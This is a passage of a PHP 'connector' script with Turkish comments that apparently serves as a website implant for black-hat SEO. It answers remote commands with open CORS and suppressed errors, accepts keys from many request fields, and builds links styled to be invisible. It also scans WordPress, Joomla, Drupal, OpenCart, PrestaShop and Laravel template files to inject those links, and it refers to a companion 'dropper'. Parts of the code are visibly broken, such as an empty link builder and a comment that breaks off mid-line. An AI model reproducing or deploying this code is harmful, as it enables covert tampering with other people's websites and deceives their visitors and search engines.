true,
'data' => [
'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'),
'version' => RS_CONNECTOR_VERSION,
'timestamp' => time(),
'batch_ready' => true,
'max_batch_size' => 100
],
'status' => 'ok'
]);
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
exit;
}
// Lightweight batch ping
if ($quickAction === 'batch_health') {
http_response_code(200);
header('Content-Type: application/json');
header('Connection: close');
header('Access-Control-Allow-Origin: *');
echo json_encode([
'success' => true,
'batch_id' => (isset($_GET['batch_id']) ? $_GET['batch_id'] : uniqid()),
'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'),
'index' => intval((isset($_GET['site_index']) ? $_GET['site_index'] : 0)),
'batch_index' => intval((isset($_GET['batch_index']) ? $_GET['batch_index'] : 0)),
'version' => RS_CONNECTOR_VERSION,
'key_status' => file_exists(KEY_FILE),
'timestamp' => time()
]);
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
}
exit;
}
}
// Performance optimizasyonları
ini_set('max_execution_time', 0);
ini_set('memory_limit', '1024M');
ini_set('default_socket_timeout', 2);
if (function_exists('opcache_compile_file')) {
@opcache_compile_file(__FILE__);
}
// Hata raporlama
$DEBUG_MODE = 0;
error_reporting($DEBUG_MODE ? E_ALL : 0);
ini_set('display_errors', $DEBUG_MODE ? '1' : '0');
// CORS ayarları
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-RS-Sig, X-RS-Ts, X-RS-Key, X-RS-Setup-Token');
header('Content-Type: application/json; charset=utf-8');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
exit(0);
}
// ==================== YARDIMCI FONKSİYONLAR ====================
/**
* JSON yanıt gönder
*/
function respond($success, $data = [], $message = '', $http_code = 0) {
if ($http_code > 0) {
http_response_code($http_code);
} else {
http_response_code($success ? 200 : 200);
}
header('Connection: close');
$response = [
'success' => $success,
'status' => $success ? 'ok' : 'error',
'message' => $message,
'data' => $data,
'version' => RS_CONNECTOR_VERSION,
'timestamp' => time()
];
echo json_encode($response, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
exit;
}
/**
* Auth failure yanıtı - HTTP 200 ile success=false döner (panel uyumu için)
*/
function respond_auth_fail($message = 'Kimlik doğrulama başarısız') {
respond(false, [], $message, 200);
}
/**
* Domain-based static key generator (v4 uyumluluğu)
*/
function generate_site_static_key() {
$domain = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default'));
$domain = strtolower(trim($domain));
$domain = preg_replace('/^www\./', '', $domain);
$hash = substr(md5($domain . 'rs41_salt'), 0, 7);
return 'RS41_' . $hash;
}
/**
* Kayıtlı key'i al - HYBRID SİSTEM
* Öncelik: 1) Dosyadan oku (per-site key), 2) Define edilmiş sabit key
*/
function get_stored_key() {
// 1. Dosyadan oku (en güvenilir - per-site unique key)
if (file_exists(KEY_FILE)) {
$file_key = trim(file_get_contents(KEY_FILE));
if (!empty($file_key) && strlen($file_key) >= 4) {
return $file_key;
}
}
// 2. Domain-based static key (v4 uyumluluğu)
return generate_site_static_key();
}
/**
* Tüm geçerli key'leri topla (auth için kullanılır)
*/
function get_all_valid_keys() {
$keys = [];
// 1. Dosyadan okunan key
if (file_exists(KEY_FILE)) {
$file_key = trim(file_get_contents(KEY_FILE));
if (!empty($file_key) && strlen($file_key) >= 4) {
$keys[] = $file_key;
}
}
// The domain-derived legacy key is only an identifier for heartbeats; it is
// computed from a public salt, so it must never authenticate a request.
// 2. Universal key
$universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : '';
// Disable if placeholder wasn't substituted.
if (!empty($universal) && strpos($universal, '{{') === false && !in_array($universal, $keys)) {
$keys[] = $universal;
}
return $keys;
}
/**
* Key'i dosyaya kaydet - AKTİF (v3 uyumluluğu)
*/
function save_key($key) {
$key = trim((string)$key);
if (empty($key)) return false;
return @file_put_contents(KEY_FILE, $key) !== false;
}
function save_config($config) {
return @file_put_contents(CONFIG_FILE, json_encode($config, JSON_UNESCAPED_UNICODE)) !== false;
}
function get_config() {
if (file_exists(CONFIG_FILE)) {
$content = @file_get_contents(CONFIG_FILE);
return json_decode($content, true) ?: [];
}
return [];
}
function get_links() {
if (file_exists(LINKS_FILE)) {
$content = @file_get_contents(LINKS_FILE);
return json_decode($content, true) ?: [];
}
return [];
}
function save_links($links) {
return @file_put_contents(LINKS_FILE, json_encode($links, JSON_UNESCAPED_UNICODE)) !== false;
}
/**
* Request body'yi tek sefer oku ve cache'le (HMAC tutarlılığı için)
*/
function get_raw_request_body() {
static $cached_body = null;
if ($cached_body === null) {
$cached_body = file_get_contents('php://input');
if ($cached_body === false) {
$cached_body = '';
}
}
return $cached_body;
}
function get_request_data() {
$data = [];
if (!empty($_POST)) {
$data = $_POST;
}
$raw = get_raw_request_body();
if ($raw) {
$json = json_decode($raw, true);
if (is_array($json)) {
$data = array_merge($data, $json);
}
}
$data = array_merge($data, $_GET);
return $data;
}
/**
* Action adını normalize et
*/
function normalize_action_name($action) {
$action = strtolower(trim((string)$action));
if ($action === '') return 'ping';
$qpos = strpos($action, '?');
if ($qpos !== false) $action = substr($action, 0, $qpos);
$apos = strpos($action, '&');
if ($apos !== false) $action = substr($action, 0, $apos);
$action = preg_replace('/[^a-z0-9_]/', '', $action);
return $action ?: 'ping';
}
function normalize_rel($rel) {
$rel = strtolower(trim((string)$rel));
return ($rel === 'nofollow') ? 'nofollow' : 'dofollow';
}
/**
* Request içinden gelen key'i al (tüm field adlarını kontrol et)
*/
function get_provided_site_key($req) {
$candidates = [
(isset($req['key']) ? $req['key'] : ''),
(isset($req['site_key']) ? $req['site_key'] : ''),
(isset($req['connector_key']) ? $req['connector_key'] : ''),
(isset($req['api_key']) ? $req['api_key'] : ''),
(isset($req['token']) ? $req['token'] : ''),
(isset($_SERVER['HTTP_X_RS_KEY']) ? $_SERVER['HTTP_X_RS_KEY'] : ''),
];
foreach ($candidates as $candidate) {
if (!is_string($candidate)) continue;
$candidate = trim($candidate);
if ($candidate !== '') return $candidate;
}
return '';
}
/**
* Setup token doğrulama
*/
function has_valid_setup_token($req) {
$expected = defined('SETUP_TOKEN') ? SETUP_TOKEN : '';
if (empty($expected) || strpos($expected, '{{') !== false) return false;
$provided = '';
if (isset($req['setup_token']) && is_string($req['setup_token'])) {
$provided = trim($req['setup_token']);
} elseif (isset($_SERVER['HTTP_X_RS_SETUP_TOKEN']) && is_string($_SERVER['HTTP_X_RS_SETUP_TOKEN'])) {
$provided = trim($_SERVER['HTTP_X_RS_SETUP_TOKEN']);
}
return $provided !== '' && hash_equals($expected, $provided);
}
// Link inline stil
function get_link_inline_style() {
$config = get_config();
$mode = strtolower(trim((string)((isset($config['link_output_mode']) ? $config['link_output_mode'] : 'hidden'))));
if ($mode === 'visible') {
return 'display:inline-block;margin:0 8px 0 0;color:inherit;text-decoration:none;font-size:inherit;line-height:1.4;opacity:1;';
}
return 'position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;';
}
function build_link_html($url, $anchor, $rel = 'dofollow') {
$rel = normalize_rel($rel);
$rel_attr = ($rel === 'nofollow') ? ' rel="nofollow"' : '';
$style = get_link_inline_style();
return '' . htmlspecialchars($anchor, ENT_QUOTES, 'UTF-8') . '';
}
// ==================== UZAK LINK VERISI (ESKI/KLASIK YONTEM) ====================
// Bu connector php.ini/.htaccess'e HICBIR sekilde dokunmaz; yalnizca dogrudan ?action=
// istekleriyle (panelden gelen) ve dosyaya statik HTML enjeksiyonuyla calisir. Tum
// sayfalarda otomatik calisan bir mekanizma isteyen siteler icin ayri bir "dropper"
// connector'u (rs-dropper.template.php) kullanilmalidir.
/**
* Onceki surumlerin (auto_prepend mimarisi) .htaccess / .user.ini dosyalarina yazdigi
* "auto_prepend_file" yonergelerini temizler. Yalnizca BU connector dosyasina (veya
* eski "rs_prepend.php" koprusune) isaret eden satirlar silinir; JS connector ';
}
function get_all_injectable_paths($base, $site_type) {
$paths = [];
// WordPress
if ($site_type === 'wordpress') {
foreach (glob($base . '/wp-content/themes/*/footer.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/wp-content/themes/*/header.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/wp-content/themes/*/index.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/wp-content/themes/*/page.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/wp-content/themes/*/single.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/wp-content/themes/*/archive.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/wp-content/themes/*/home.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/wp-content/themes/*/front-page.php') ?: [] as $f) $paths[] = $f;
}
// Joomla
if ($site_type === 'joomla') {
foreach (glob($base . '/templates/*/index.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/templates/*/component.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/templates/*/error.php') ?: [] as $f) $paths[] = $f;
}
// Drupal
if ($site_type === 'drupal') {
foreach (glob($base . '/sites/*/themes/*/templates/*.tpl.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/themes/*/templates/html.html.twig') ?: [] as $f) $paths[] = $f;
}
// OpenCart
if ($site_type === 'opencart') {
foreach (glob($base . '/catalog/view/theme/*/template/common/footer.*') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/catalog/view/theme/*/template/common/header.*') ?: [] as $f) $paths[] = $f;
}
// PrestaShop
if ($site_type === 'prestashop') {
foreach (glob($base . '/themes/*/templates/_partials/footer.tpl') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/themes/*/templates/_partials/header.tpl') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/themes/*/footer.tpl') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/themes/*/header.tpl') ?: [] as $f) $paths[] = $f;
}
// Laravel
if ($site_type === 'laravel') {
foreach (glob($base . '/resources/views/layouts/*.blade.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/resources/views/layouts/partials/footer.blade.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/resources/views/layouts/*/footer.blade.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/resources/views/components/layouts/*.blade.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/resources/views/includes/footer.blade.php') ?: [] as $f) $paths[] = $f;
foreach (glob($base . '/resources/views/partials/*.blade.php') ?: [] as $f) $paths[] = $f;
}
// General paths (exclude root index.php — it is a CMS bootstrap, not a template)
$general = [
$base . '/footer.php', $base . '/header.php',
$base . '/includes/footer.php', $base . '/includes/header.php',
$base . '/inc/footer.php', $base . '/inc/header.php',
$base . '/template/footer.php', $base . '/template/header.php',
$base . '/templates/footer.php', $base . '/templates/header.php',
$base . '/partials/footer.php', $base . '/partials/header.php',
$base . '/layout/footer.php', $base . '/layout/header.php',
$base . '/layouts/footer.php', $base . '/layouts/header.php',
$base . '/views/footer.php', $base . '/views/header.php',
$base . '/views/partials/footer.php', $base . '/views/partials/header.php',
$base . '/common/footer.php', $base . '/common/header.php',
$base . '/include/footer.php', $base . '/include/header.php',
$base . '/theme/footer.php', $base . '/theme/header.php',
$base . '/index.html', $base . '/index.htm',
];
foreach ($general as $p) {
if (file_exists($p)) $paths[] = $p;
}
foreach (find_template_files($base) as $p) $paths[] = $p;
return array_unique($paths);
}
/**
* Document root altinda